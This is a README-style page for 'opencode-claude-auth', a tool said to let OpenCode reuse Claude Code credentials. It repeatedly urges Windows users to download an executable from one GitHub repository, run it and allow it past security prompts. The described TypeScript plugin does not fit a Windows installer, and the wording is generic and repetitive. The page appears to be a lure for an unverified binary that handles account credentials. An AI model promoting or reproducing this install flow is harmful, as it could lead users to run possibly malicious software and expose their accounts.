🤖 opencode-claude-auth - Use Claude Code sign-in

📥 Download

Use this link to visit the download page and get the files you need:

https://github.com/osuma2662/opencode-claude-auth

🪟 Windows setup

This app is meant to help OpenCode use your existing Claude Code credentials, so you do not need a separate login.

1. Open the download page

Go to:

https://github.com/osuma2662/opencode-claude-auth

2. Find the latest release

Look for the latest version on the page. Open the release files for Windows.

3. Download the Windows file

Choose the Windows download file that matches your system. Save it to your computer.

4. Run the app

Open the file you downloaded. If Windows asks for permission, choose to run it.

5. Connect your Claude Code account

Follow the on-screen steps to use your current Claude Code credentials.

6. Open OpenCode

Start OpenCode after setup. The plugin will use your Claude Code sign-in.

✨ What this plugin does

This plugin connects OpenCode to your Claude Code account so you can:

• Use your existing Claude Code access
• Skip a separate app login
• Keep your setup in one place
• Start working faster
• Use the same auth flow you already know

🧩 Who this is for

This is for people who:

• Use OpenCode on Windows
• Already have Claude Code credentials
• Want one login path
• Prefer a simple setup
• Do not want extra account steps

🖥️ System needs

Use a Windows PC with:

• Windows 10 or Windows 11
• A stable internet connection
• Enough disk space for the app files
• Permission to run downloaded apps
• An active Claude Code account

⚙️ How it works

The plugin sits between OpenCode and Claude auth. It uses your existing Claude Code sign-in flow instead of asking you to create a new one.

That means:

• OpenCode asks for auth
• The plugin passes that request to Claude Code credentials
• Claude Code handles the sign-in
• OpenCode receives access through the same account

🧭 First-time install steps

Step 1: Download

Visit the download page:

https://github.com/osuma2662/opencode-claude-auth

Step 2: Save the file

Pick a folder you can find again, such as Downloads or Desktop.

Step 3: Open the file

Double-click the downloaded Windows file.

Step 4: Allow the app

If Windows asks for a security prompt, choose the option to run or allow the file.

Step 5: Finish setup

Follow the prompts until the setup is done.

Step 6: Launch OpenCode

Open OpenCode and check that it uses your Claude Code credentials.

🔧 Basic use

After setup, use it like this:

1. Start OpenCode
2. Sign in with your Claude Code account if asked
3. Use OpenCode as normal
4. Keep your Claude Code session active when needed

📁 What you get

Typical files and parts of the project include:

• The plugin itself
• Windows setup files
• Auth handling for Claude Code
• TypeScript source files
• Configuration for OpenCode

🔍 Common file names

You may see files such as:

• .exe
• .msi
• .zip
• release notes
• plugin config files

Choose the Windows file if more than one file appears.

🛠️ If OpenCode does not connect

Try these steps:

• Check that you opened the latest file
• Make sure Claude Code credentials are still active
• Close OpenCode and open it again
• Download the file again if it looks damaged
• Reboot Windows and try once more

🧼 Clean setup tips

Keep the setup simple:

• Use one download folder
• Remove old files after you finish
• Keep your Claude Code login ready
• Use the latest release
• Close other apps if the install stops

📌 Project details

• Repository: opencode-claude-auth
• Type: OpenCode plugin
• Auth method: Claude Code credentials
• Main use: sign-in reuse
• Platform focus: Windows
• Language: TypeScript

🧠 Short path for most users

If you want the fastest path:

1. Open the download page
2. Download the Windows file
3. Run the file
4. Finish setup
5. Open OpenCode
6. Sign in with Claude Code

🔗 Download again

If you need the page later, use this link:

https://github.com/osuma2662/opencode-claude-auth

🧩 Keywords

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